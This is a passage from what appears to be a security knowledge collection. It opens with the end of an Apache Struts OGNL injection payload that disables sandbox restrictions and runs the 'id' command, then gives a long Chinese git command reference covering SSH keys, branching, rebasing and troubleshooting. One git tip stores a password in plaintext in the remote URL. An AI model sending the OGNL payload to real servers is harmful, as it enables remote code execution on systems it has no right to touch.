(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))} ``` Result: ![](2.png)
sec-knowleage
git === 是目前世界上最先进的分布式版本控制系统 ## 补充说明 **git命令** 很多人都知道,Linus在1991年创建了开源的Linux,从此,Linux系统不断发展,已经成为最大的服务器系统软件了。 Linus虽然创建了Linux,但Linux的壮大是靠全世界热心的志愿者参与的,这么多人在世界各地为Linux编写代码,那Linux的代码是如何管理的呢? 事实是,在2002年以前,世界各地的志愿者把源代码文件通过diff的方式发给Linus,然后由Linus本人通过手工方式合并代码! 你也许会想,为什么Linus不把Linux代码放到版本控制系统里呢?不是有CVS、SVN这些免费的版本控制系统吗?因为Linus坚定地反对CVS和SVN,这些集中式的版本控制系统不但速度慢,而且必须联网才能使用。有一些商用的版本控制系统,虽然比CVS、SVN好用,但那是付费的,和Linux的开源精神不符。 不过,到了2002年,Linux系统已经发展了十年了,代码库之大让Linus很难继续通过手工方式管理了,社区的弟兄们也对这种方式表达了强烈不满,于是Linus选择了一个商业的版本控制系统BitKeeper,BitKeeper的东家BitMover公司出于人道主义精神,授权Linux社区免费使用这个版本控制系统。 安定团结的大好局面在2005年就被打破了,原因是Linux社区牛人聚集,不免沾染了一些梁山好汉的江湖习气。开发Samba的Andrew试图破解BitKeeper的协议(这么干的其实也不只他一个),被BitMover公司发现了(监控工作做得不错!),于是BitMover公司怒了,要收回Linux社区的免费使用权。 Linus可以向BitMover公司道个歉,保证以后严格管教弟兄们,嗯,这是不可能的。实际情况是这样的: Linus花了两周时间自己用C写了一个分布式版本控制系统,这就是Git!一个月之内,Linux系统的源码已经由Git管理了!牛是怎么定义的呢?大家可以体会一下。 Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitHub网站上线了,它为开源项目免费提供Git存储,无数开源项目开始迁移至GitHub,包括jQuery,PHP,Ruby等等。 历史就是这么偶然,如果不是当年BitMover公司威胁Linux社区,可能现在我们就没有免费而超级好用的Git了。 [Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) ### 语法 ```shell git [--version] [--help] [-C <path>] [-c name=value] [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>] <command> [<args>] ``` ### 选项 ```shell add 将文件内容添加到索引 bisect 通过二进制查找引入错误的更改 branch 列出,创建或删除分支 checkout 检查分支或路径到工作树 clone 将存储库克隆到新目录中 commit 将更改记录到存储库 diff 显示提交,提交和工作树等之间的更改 fetch 从另一个存储库下载对象和引用 grep 打印匹配图案的行 init 创建一个空的Git仓库或重新初始化一个现有的 log 显示提交日志 merge 加入两个或更多的开发历史 mv 移动或重命名文件,目录或符号链接 pull 从另一个存储库或本地分支获取并合并 push 更新远程引用以及相关对象 rebase 转发端口本地提交到更新的上游头 reset 将当前HEAD复位到指定状态 rm 从工作树和索引中删除文件 show 显示各种类型的对象 status 显示工作树状态 tag 创建,列出,删除或验证使用GPG签名的标签对象 ``` ### 例子 init `git init` #初始化 status `git status` #获取状态 add `git add file` # .或*代表全部添加 `git rm --cached <added_file_to_undo>` # 在commit之前撤销git add操作 `git reset head` # 好像比上面`git rm --cached`更方便 commit `git commit -m "message"` #此处注意乱码 remote `git remote add origin git@github.com:JSLite/test.git` #添加源 push ```shell git push -u origin master # push 同时设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件,缩写 -f(全写--force) ``` clone `git clone git://github.com/JSLite/JSLite.js.git` `git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 `git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell git clone http[s]://example.com/path/to/repo.git/ git clone ssh://example.com/path/to/repo.git/ git clone git://example.com/path/to/repo.git/ git clone /opt/git/project.git git clone file:///opt/git/project.git git clone ftp[s]://example.com/path/to/repo.git/ git clone rsync://example.com/path/to/repo.git/ ``` ## 配置 首先是配置帐号信息 `ssh -T git@github.com` 测试。 ## 修改项目中的个人信息 ```shell git help config # 获取帮助信息,查看修改个人信息的参数 git config --global user.name "小弟调调" # 修改全局名字 git config --global user.email "wowohoo@qq.com" # 修改全局邮箱 git config --list # 查看配置的信息 ``` ### 配置自动换行 自动转换坑太大,提交到git是自动将换行符转换为lf ```shell git config --global core.autocrlf input ``` ## 常见使用场景 ### 创建SSH密钥 这个密钥用来跟 github 通信,在本地终端里生成然后上传到 github ```shell ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥 ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字 ssh -T git@github.com # 测试是否成功 ``` ### 多账号ssh配置 **1.生成指定名字的密钥** `ssh-keygen -t rsa -C "邮箱地址" -f ~/.ssh/jslite_rsa` 会生成 `jslite_rsa` 和 `jslite_rsa.pub` 这两个文件 **2.密钥复制到托管平台上** `vim ~/.ssh/jslite_rsa.pub` 打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上 **3.修改config文件** `vim ~/.ssh/config` #修改config文件,如果没有创建 `config` ```shell Host jslite.github.com HostName github.com User git IdentityFile ~/.ssh/jslite_rsa Host work.github.com HostName github.com # Port 服务器open-ssh端口(默认:22,默认时一般不写此行) # PreferredAuthentications 配置登录时用什么权限认证 # publickey|password publickey|keyboard-interactive等 User git IdentityFile ~/.ssh/work_rsa ``` - `Host` 这里是个别名可以随便命名 - `HostName` 一般是网站如:`git@ss.github.com:username/repo.git` 填写 `github.com` - `User` 通常填写`git` - `IdentityFile` 使用的公钥文件地址 **4.测试** ```shell ssh -T git@jslite.github.com # `@`后面跟上定义的Host ssh -T work.github.com # 通过别名测试 ssh -i ~/公钥文件地址 Host别名 # 如 ssh -i ~/.ssh/work_rsa work.github.com ``` **5.使用** ```shell # 原来的写法 git clone git@github.com:<jslite的用户名>/learngit.git # 现在的写法 git clone git@jslite.github.com:<jslite的用户名>/learngit.git git clone git@work.github.com:<work的用户名>/learngit.git ``` **5.注意** 如果你修改了id_rsa的名字,你需要将ssh key添加到SSH agent中,如: ```shell ssh-add ~/.ssh/jslite_rsa ssh-add -l # 查看所有的key ssh-add -D # 删除所有的key ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key ``` ### 免密码登录远程服务器 ```shell ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 ``` 编辑 `~/.ssh/config` ```shell Host aliyun1 HostName 192.168.182.112 User root PreferredAuthentications publickey IdentityFile ~/.ssh/aliyunserver.key ``` 上面配置完了,可以通过命令登录,不需要输入IP地址和密码 `ssh aliyun1` ### https协议下提交代码免密码 ```shell git clone https://github.com/username/rep.git ``` 通过上面方式克隆可能需要密码,解决办法:进入当前克隆的项目 `vi rep/.git/config` 编辑 `config`, 按照下面方式修改,你就可以提交代码不用输入密码了。 ```shell [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true [remote "origin"] - url = https://github.com/username/rep.git + url = https://用户名:密码@github.com/username/rep.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master ``` ### 文件推向3个git库 **1. 增加3个远程库地址** ```shell git remote add origin https://github.com/JSLite/JSLite.git git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git git remote set-url --add origin https://oschina.net/wang/JSLite.js.git ``` **2. 删除其中一个 set-url 地址** ```shell usage: git remote set-url [--push] <name> <newurl> [<oldurl>] or: git remote set-url --add <name> <newurl> or: git remote set-url --delete <name> <url> ``` `git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git` **3.推送代码** ```shell git push origin master git push -f origin master # 强制推送 ``` **4.拉代码** 只能拉取 `origin` 里的一个url地址,这个fetch-url 默认为你添加的到 `origin`的第一个地址 ```shell git pull origin master git pull --all # 获取远程所有内容包括tag git pull origin next:master # 取回origin主机的next分支,与本地的master分支合并 git pull origin next # 远程分支是与当前分支合并 # 上面一条命令等同于下面两条命令 git fetch origin git merge origin/next ``` 如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。 但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。 ```shell $ git pull -p # 等同于下面的命令 $ git fetch --prune origin $ git fetch -p ``` **5.更改pull** 只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。 ### 修改远程仓库地址 ```shell git remote remove origin # 删除该远程路径 git remote add origin git@jslite.github.com:JSLite/JSLite.git # 添加远程路径 ``` ### 撤销远程记录 ```shell git reset --hard HEAD~1 # 撤销一条记录 git push -f origin HEAD:master # 同步到远程仓库 ``` ### 放弃本地的文件修改 ```shell git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull ``` `git reset --hard FETCH_HEAD` 出现错误 ```shell git pull You are not currently on a branch, so I cannot use any 'branch.<branchname>.merge' in your configuration file. Please specify which remote branch you want to use on the command line and try again (e.g. 'git pull <repository> <refspec>'). See git-pull(1) FOR details. ``` 解决方法: ```shell git checkout -b temp # 新建+切换到temp分支 git checkout master ``` ### 最简单放弃本地修改内容 ```shell # 如果有的修改以及加入暂存区的话 git reset --hard # 还原所有修改,不会删除新增的文件 git checkout . # 下面命令会删除新增的文件 git clean -xdf ``` 通过存储暂存区stash,在删除暂存区的方法放弃本地修改。 ```shell git stash && git stash drop ``` ### 回滚到某个commit提交 ```shell git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑 git push # 提交回滚 ``` ### 回退到某一个版本 ```shell git reset --hard <hash> # 例如 git reset --hard a3hd73r # --hard代表丢弃工作区的修改,让工作区与版本代码一模一样,与之对应, # --soft参数代表保留工作区的修改。 ``` ### 去掉某个commit ```shell # 实质是新建了一个与原来完全相反的commit,抵消了原来commit的效果 git revert <commit-hash> ``` ### 新建一个空分支 ```shell # 这种方式新建的分支(gh-pages)是没有 commit 记录的 git checkout --orphan gh-pages # 删除新建的gh-pages分支原本的内容,如果不删除,提交将作为当前分支的第一个commit git rm -rf . # 查看一下状态 有可能上面一条命令,没有删除还没有提交的的文件 git state ``` ### 合并多个commit ```shell # 这个命令,将最近4个commit合并为1个,HEAD代表当前版本。 # 将进入VIM界面,你可以修改提交信息。 git rebase -i HEAD~4 # 可以看到其中分为两个部分,上方未注释的部分是填写要执行的指令, # 而下方注释的部分则是指令的提示说明。指令部分中由前方的命令名称、commit hash 和 commit message 组成 # 当前我们只要知道 pick 和 squash 这两个命令即可。 # --> pick 的意思是要会执行这个 commit # --> squash 的意思是这个 commit 会被合并到前一个commit # 我们将 需要保留的 这个 commit 前方的命令改成 squash 或 s,然后输入:wq以保存并退出 # 这是我们会看到 commit message 的编辑界面 # 其中, 非注释部分就是两次的 commit message, 你要做的就是将这两个修改成新的 commit message。 # # 输入wq保存并推出, 再次输入git log查看 commit 历史信息,你会发现这两个 commit 已经合并了。 # 将修改强制推送到前端 git push -f origin master ``` ### 修改远程Commit记录 ```shell git commit --amend # amend只能修改没有提交到线上的,最后一次commit记录 git rebase -i HEAD~3 # 表示要修改当前版本的倒数第三次状态 # 将要更改的记录行首单词 pick 改为 edit pick 96dc3f9 doc: Update quick-start.md pick f1cce8a test(Transition):Add transition test (#47) pick 6293516 feat(Divider): Add Divider component. # Rebase eeb03a4..6293516 onto eeb03a4 (3 commands) # # Commands: # p, pick = use commit # r, reword = use commit, but edit the commit message # e, edit = use commit, but stop for amending # s, squash = use commit, but meld into previous commit # f, fixup = like "squash", but discard this commit's log message # x, exec = run command (the rest of the line) using shell # d, drop = remove commit ``` 保存并退出,会弹出下面提示 ```shell # You can amend the commit now, with # # git commit --amend # # Once you are satisfied with your changes, run # # git rebase --continue # 通过这条命令进入编辑页面更改commit,保存退出 git commit --amend # 保存退出确认修改,继续执行 rebase, git rebase --continue # 如果修改多条记录反复执行上面两条命令直到完成所有修改 # 最后,确保别人没有提交进行push,最好不要加 -f 强制推送 git push -f origin master ``` ### 添加忽略文件 ```shell echo node_modules/ >> .gitignore ``` ### 利用commit关闭一个issue 这个功能在Github上可以玩儿,Gitlab上特别老的版本不能玩儿哦,那么如何跟随着commit关闭一个issue呢? 在confirm merge的时候可以使用一下命令来关闭相关issue: `fixes #xxx`、 `fixed #xxx`、 `fix #xxx`、 `closes #xxx`、 `close #xxx`、 `closed #xxx`、 ### 同步fork的上游仓库 [Github教程同步fork教程](https://help.github.com/articles/syncing-a-fork/),[在Github上同步一个分支(fork)](http://www.miss77.net/549.html) **设置添加多个远程仓库地址。** 在同步之前,需要创建一个远程点指向上游仓库(repo).如果你已经派生了一个原始仓库,可以按照如下方法做。 ```shell $ git remote -v # List the current remotes (列出当前远程仓库) # origin https://github.com/user/repo.git (fetch) # origin https://github.com/user/repo.git (push) $ git remote add upstream https://github.com/otheruser/repo.git # Set a new remote (设置一个新的远程仓库) $ git remote -v # Verify new remote (验证新的原唱仓库) # origin https://github.com/user/repo.git (fetch) # origin https://github.com/user/repo.git (push) # upstream https://github.com/otheruser/repo.git (fetch) # upstream https://github.com/otheruser/repo.git (push) ``` **同步更新仓库内容** 同步上游仓库到你的仓库需要执行两步:首先你需要从远程拉去,之后你需要合并你希望的分支到你的本地副本分支。从上游的存储库中提取分支以及各自的提交内容。 `master` 将被存储在本地分支机构 `upstream/master` ```shell git fetch upstream # remote: Counting objects: 75, done. # remote: Compressing objects: 100% (53/53), done. # remote: Total 62 (delta 27), reused 44 (delta 9) # Unpacking objects: 100% (62/62), done. # From https://github.com/ORIGINAL_OWNER/ORIGINAL_REPOSITORY # * [new branch] master -> upstream/master ``` 检查你的 fork's 本地 `master` 分支 ```shell git checkout master # Switched to branch 'master' ``` 合并来自 `upstream/master` 的更改到本地 master 分支上。 这使你的前 fork's `master` 分支与上游资源库同步,而不会丢失你本地修改。 ```shell git merge upstream/master # Updating a422352..5fdff0f # Fast-forward # README | 9 ------- # README.md | 7 ++++++ # 2 files changed, 7 insertions(+), 9 deletions(-) # delete mode 100644 README # create mode 100644 README.md ``` ### 批量修改历史commit中的名字和邮箱 **1.克隆仓库** 注意参数,这个不是普通的clone,clone下来的仓库并不能参与开发 ```shell git clone --bare https://github.com/user/repo.git cd repo.git ``` **2.命令行中运行代码** OLD_EMAIL原来的邮箱 CORRECT_NAME更正的名字 CORRECT_EMAIL更正的邮箱 将下面代码复制放到命令行中执行 ```shell git filter-branch -f --env-filter ' OLD_EMAIL="wowohoo@qq.com" CORRECT_NAME="小弟调调" CORRECT_EMAIL="更正的邮箱@qq.com" if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ] then export GIT_COMMITTER_NAME="$CORRECT_NAME" export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL" fi if [ "$GIT_AUTHOR_EMAIL" = "$OLD_EMAIL" ] then export GIT_AUTHOR_NAME="$CORRECT_NAME" export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL" fi ' --tag-name-filter cat -- --branches --tags ``` 执行过程 ```shell Rewrite 160d4df2689ff6df3820563bfd13b5f1fb9ba832 (479/508) (16 seconds passed, remaining 0 predicted) Ref 'refs/heads/dev' was rewritten Ref 'refs/heads/master' was rewritten ``` **3.同步到远程仓库** 同步到push远程git仓库 ```shell git push --force --tags origin 'refs/heads/*' ``` 我还遇到了如下面错误,lab默认给master分支加了保护,不允许强制覆盖。`Project(项目)`->`Setting`->`Repository` 菜单下面的`Protected branches`把master的保护去掉就可以了。修改完之后,建议把master的保护再加回来,毕竟强推不是件好事。 ```shell remote: GitLab: You are not allowed to force push code to a protected branch on this project. ``` 当上面的push 不上去的时候,先 `git pull` 确保最新代码 ```shell git pull --allow-unrelated-histories # 或者指定分枝 git pull origin master --allow-unrelated-histories ``` ### 查看某个文件历史 ```shell git log --pretty=oneline 文件名 # 列出文件的所有改动历史 git show c178bf49 # 某次的改动的修改记录 git log -p c178bf49 # 某次的改动的修改记录 git blame 文件名 # 显示文件的每一行是在那个版本最后修改。 git whatchanged 文件名 # 显示某个文件的每个版本提交信息:提交日期,提交人员,版本号,提交备注(没有修改细节) ``` ### 打造自己的git命令 ```shell git config --global alias.st status git config --global alias.br branch git config --global alias.co checkout git config --global alias.ci commit ``` 配置好后再输入git命令的时候就不用再输入一大段了,例如我们要查看状态,只需: ```shell git st ``` ### 中文乱码的解决方案 ```shell git config --global core.quotepath false ``` ## 新建仓库 ### init `git init` #初始化 ### status `git status` #获取状态 ### add `git add file` # .或*代表全部添加 `git rm --cached <added_file_to_undo>` # 在commit之前撤销git add操作 `git reset head` # 好像比上面`git rm --cached`更方便 ### commit `git commit -m "message"` #此处注意乱码 ### remote `git remote add origin git@github.com:JSLite/test.git` #添加源 ### push ```shell git push -u origin master # push同事设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件,缩写 -f(全写--force) ``` ## clone `git clone git://github.com/JSLite/JSLite.js.git` `git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 `git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell git clone http[s]://example.com/path/to/repo.git/ git clone ssh://example.com/path/to/repo.git/ git clone git://example.com/path/to/repo.git/ git clone /opt/git/project.git git clone file:///opt/git/project.git git clone ftp[s]://example.com/path/to/repo.git/ git clone rsync://example.com/path/to/repo.git/ ``` ## 本地 ### help ```shell git help config # 获取帮助信息 ``` ### add ```shell git add * # 跟踪新文件 git add -u [path] # 添加[指定路径下]已跟踪文件 ``` ### rm ```shell rm *&git rm * # 移除文件 git rm -f * # 移除文件 git rm --cached * # 取消跟踪 git mv file_from file_to # 重命名跟踪文件 git log # 查看提交记录 ``` ### commit ```shell git commit #提交更新 git commit -m 'message' #提交说明 git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交 git commit --amend #修改最后一次提交 git commit log #查看所有提交,包括没有push的commit git commit -m "#133" #关联issue 任意位置带上# 符号加上issue号码 git commit -m "fix #133" commit关闭issue git commit -m '概要描述'$'\n\n''1.详细描述'$'\n''2.详细描述' #提交简要描述和详细描述 ``` ### reset ```shell git reset HEAD * # 取消已经暂存的文件 git reset --mixed HEAD * # 同上 git reset --soft HEAD * # 重置到指定状态,不会修改索引区和工作树 git reset --hard HEAD * # 重置到指定状态,会修改索引区和工作树 git reset -- files * # 重置index区文件 ``` ### revert ```shell git revert HEAD # 撤销前一次操作 git revert HEAD~ # 撤销前前一次操作 git revert commit # 撤销指定操作 ``` ### checkout ```shell git checkout -- file # 取消对文件的修改(从暂存区——覆盖worktree file) git checkout branch|tag|commit -- file_name # 从仓库取出file覆盖当前分支 git checkout HEAD~1 [文件] # 将会更新 working directory 去匹配某次 commit git checkout -- . # 从暂存区取出文件覆盖工作区 git checkout -b gh-pages 0c304c9 # 这个表示 从当前分支 commit 哈希值为 0c304c9 的节点,分一个新的分支gh-pages出来,并切换到 gh-pages ``` ### diff ```shell git diff file # 查看指定文件的差异 git diff --stat # 查看简单的diff结果 git diff # 比较Worktree和Index之间的差异 git diff --cached # 比较Index和HEAD之间的差异 git diff HEAD # 比较Worktree和HEAD之间的差异 git diff branch # 比较Worktree和branch之间的差异 git diff branch1 branch2 # 比较两次分支之间的差异 git diff commit commit # 比较两次提交之间的差异 git diff master..test # 上面这条命令只显示两个分支间的差异 git diff master...test # 你想找出‘master’,‘test’的共有 父分支和'test'分支之间的差异,你用3个‘.'来取代前面的两个'.' ``` ### stash ```shell git stash # 将工作区现场(已跟踪文件)储藏起来,等以后恢复后继续工作。 git stash list # 查看保存的工作现场 git stash apply # 恢复工作现场 git stash drop # 删除stash内容 git stash pop # 恢复的同时直接删除stash内容 git stash apply stash@{0} # 恢复指定的工作现场,当你保存了不只一份工作现场时。 ``` ### merge ```shell git merge --squash test # 合并压缩,将test上的commit压缩为一条 ``` ### cherry-pick ```shell git cherry-pick commit # 拣选合并,将commit合并到当前分支 git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交 ``` ### rebase ```shell git rebase master # 将master分之上超前的提交,变基到当前分支 git rebase --onto master 169a6 # 限制回滚范围,rebase当前分支从169a6以后的提交 git rebase --interactive # 交互模式,修改commit git rebase --continue # 处理完冲突继续合并 git rebase --skip # 跳过 git rebase --abort # 取消合并 ``` ## 分支branch ### 删除 ```shell git push origin :branchName # 删除远程分支 git push origin --delete new # 删除远程分支new git branch -d branchName # 删除本地分支,强制删除用-D git branch -d test # 删除本地test分支 git branch -D test # 强制删除本地test分支 git remote prune origin # 远程删除了,本地还能看到远程存在,这条命令删除远程不存在的分支 ``` ### 提交 ```shell git push -u origin branchName # 提交分支到远程origin主机中 ``` ### 拉取 `git fetch -p` #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。 ### 分支合并 ```shell git merge branchName # 合并分支 - 将分支branchName和当前所在分支合并 git merge origin/master # 在本地分支上合并远程分支。 git rebase origin/master # 在本地分支上合并远程分支。 git merge test # 将test分支合并到当前分支 ``` ### 重命名 `git branch -m old new` #重命名分支 ### 查看 ```shell git branch # 列出本地分支 git branch -r # 列出远端分支 git branch -a # 列出所有分支 git branch -v # 查看各个分支最后一个提交对象的信息 git branch --merge # 查看已经合并到当前分支的分支 git branch --no-merge # 查看为合并到当前分支的分支 git remote show origin # 可以查看remote地址,远程分支 ``` ### 新建 ```shell git branch test # 新建test分支 git branch newBrach 3defc69 # 指定哈希3defc69,新建分支名字为newBrach git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支 git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支,并切换到该分支 ``` ### 连接 ```shell git branch --set-upstream dev origin/dev # 将本地dev分支与远程dev分支之间建立链接 git branch --set-upstream master origin/next # 手动建立追踪关系 ``` ### 分支切换 ```shell git checkout test # 切换到test分支 git checkout -b test # 新建+切换到test分支 git checkout -b test dev # 基于dev新建test分支,并切换 ``` ## 远端 ```shell git fetch <远程主机名> <分支名> # fetch取回所有分支(branch)的更新 git fetch origin remotebranch[:localbranch] # 从远端拉去分支[到本地指定分支] git merge origin/branch # 合并远端上指定分支 git pull origin remotebranch:localbranch # 拉去远端分支到本地分支 git push origin branch # 将当前分支,推送到远端上指定分支 git push origin localbranch:remotebranch # 推送本地指定分支,到远端上指定分支 git push origin :remotebranch # 删除远端指定分支 git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地test分支[同时设置跟踪] ``` ## submodule 克隆项目同时克隆submodule ```shell git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules ``` 克隆项目,之后再手动克隆 submodule 子项目 ```shell git submodule add --force '仓库地址' '路径' # 其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。 # 注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone) git submodule init # 初始化submodule git submodule update # 更新submodule(必须在根目录执行命令) git submodule update --init --recursive # 下载的工程带有submodule ``` 当使用`git clone`下来的工程中带有submodule时,初始的时候,submodule的内容并不会自动下载下来的,此时,只需执行如下命令: ```shell git submodule foreach git pull # submodule 里有其他的 submodule 一次更新 git submodule foreach git pull origin master # submodule更新 git submodule foreach --recursive git submodule init git submodule foreach --recursive git submodule update ``` ## 删除文件 ```shell git rm -rf node_modules/ ``` ## remote git是一个分布式代码管理工具,所以可以支持多个仓库,在git里,服务器上的仓库在本地称之为remote。个人开发时,多源用的可能不多,但多源其实非常有用。 ```shell git remote add origin1 git@github.com:yanhaijing/data.js.git git remote # 显示全部源 git remote -v # 显示全部源+详细信息 git remote rename origin1 origin2 # 重命名 git remote rm origin # 删除 git remote show origin # 查看指定源的全部信息 ``` ## 标签tag 当开发到一定阶段时,给程序打标签是非常棒的功能。 ```shell git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签 git push origin --tags # 一次性推送所有分支 git push origin v1.5 # 推送单个tag到orgin源上 git tag -v v1.4.2.1 # 验证标签,验证已经签署的标签 git show v1.5 # 看到对应的 GPG 签 git tag # 列出现有标签 git tag v0gi.1 # 新建标签 git checkout tagname # 切换到标签 git tag -d v0.1 # 删除标签 git push origin :refs/tags/v0.1 # 删除远程标签 git pull --all # 获取远程所有内容包括tag git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信息 ``` ## 日志log ```shell git config format.pretty oneline #显示历史记录时,每个提交的信息只显示一行 git config color.ui true #彩色的 git 输出 git log #查看提交日志,从最近的提交开始显示 git log --reverse #查看提交日志,从最远的提交开始显示 git log --pretty=oneline #单行显示提交日志 git log --graph --pretty=oneline --abbrev-commit git log -num #显示第几条log(倒数) git reflog #查看所有分支的所有操作记录 git log --since=1.day #一天内的提交;你可以给出各种时间格式,比如说具体的某一天(“2008-01-15”),或者是多久以前(“2 years 1 day 3 minutes ago”)。 git log --pretty="%h - %s" --author=自己的名字 #查看自己的日志 git log -p -2 #展开两次更新显示每次提交的内容差异 git log --stat #要快速浏览其他协作者提交的更新都作了哪些改动 git log --pretty=format:"%h - %an, %ar : %s"#定制要显示的记录格式 git log --pretty=format:'%h : %s' --date-order --graph # 拓扑顺序展示 git log --pretty=format:'%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 git log <last tag> HEAD --pretty=format:%s # 只显示commit git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 写入全局配置 ``` |选项 | 说明|选项 | 说明| |----|----|----|----| |%H |提交对象(commit)的完整哈希字串 |%ad |作者修订日期(可以用 -date= 选项定制格式)| |%h |提交对象的简短哈希字串 |%ar |作者修订日期,按多久以前的方式显示| |%T |树对象(tree)的完整哈希字串 |%cn |提交者(committer)的名字| |%t |树对象的简短哈希字串 |%ce |提交者的电子邮件地址| |%P |父对象(parent)的完整哈希字串 |%cd |提交日期| |%p |父对象的简短哈希字串 |%cr |提交日期,按多久以前的方式显示| |%an |作者(author)的名字 |%s |提交说明| |%ae |作者的电子邮件地址| - | - | [Pretty Formats](https://git-scm.com/docs/git-log#_pretty_formats) ## 重写历史 ```shell git commit --amend # 改变最近一次提交 git rebase -i HEAD~3 # 修改最近三次的提交说明,或者其中任意一次 git commit --amend # 保存好了,这些指示很明确地告诉了你该干什么 git rebase --continue # 修改提交说明,退出编辑器。 ``` ```shell pick f7f3f6d changed my name a bit pick 310154e updated README formatting and added blame pick a5f4a0d added cat-file ``` 改成 ``` pick 310154e updated README formatting and added blame pick f7f3f6d changed my name a bit ``` ### 删除仓库 ``` cd .. rm -rf repo.git ``` [Github官方教程](https://help.github.com/articles/changing-author-info/) ## 其它 ```shell git help * # 获取命令的帮助信息 git status # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作 ``` ## 报错问题解决 **1. `git fatal: protocol error: bad line length character: No s`** 解决办法:更换remote地址为 `http/https` 的 **2. `The requested URL returned error: 403 Forbidden while accessing`** 解决github push错误的办法: ```shell #vim 编辑器打开 当前项目中的config文件 vim .git/config #修改 [remote "origin"] url = https://github.com/jaywcjlove/example.git #为下面代码 [remote "origin"] url = https://jaywcjlove@github.com/jaywcjlove/example.git ``` **3. git status 显示中文问题** 在查看状态的时候 git status 如果是中文就显示下面的情况 ```shell \344\272\247\345\223\201\351\234\200\346\261\202 ``` 解决这个问题方法是: ```shell git config --global core.quotepath false ``` ## 参考资料 - [Git官网](http://git-scm.com/) - [**Github 15分钟学习Git**](https://try.github.io) - [Git参考手册](http://gitref.org/zh/index.html) - [Git简明手册](http://www.mceiba.com/tool/git-cheat-sheet.html) - [Git Magic](http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/zh_cn/) - [Git Community Book 中文版](http://gitbook.liuhui998.com/index.html) - [Pro Git](http://git-scm.com/book/en/v2) - [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/) - [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) - [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/) - [git详解](http://www.open-open.com/lib/view/open1328069609436.html) - [oschina教程](http://git.oschina.net/progit/) - [How to undo (almost) anything with Git撤销一切,汇总各种回滚撤销的场景,加强学习。](https://github.com/blog/2019-how-to-undo-almost-anything-with-git) - [Git 教程 | 菜鸟教程runoob.com](http://www.runoob.com/git/git-tutorial.html) - [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6) - [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710) - [Git进阶用法,主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email)
sec-knowleage
